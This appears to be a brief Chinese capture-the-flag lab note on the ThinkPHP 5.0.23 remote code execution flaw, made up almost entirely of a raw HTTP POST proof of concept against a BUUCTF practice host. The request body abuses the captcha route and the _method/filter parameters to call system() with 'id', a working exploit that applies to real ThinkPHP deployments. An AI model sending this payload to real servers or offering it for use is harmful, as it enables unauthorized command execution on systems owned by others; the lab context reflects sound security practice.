[ThinkPHP]5.0.23-Rce

靶场首页

POC利用

POST /index.php?s=captcha HTTP/1.1
Host: node3.buuoj.cn:29198
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

获取Flag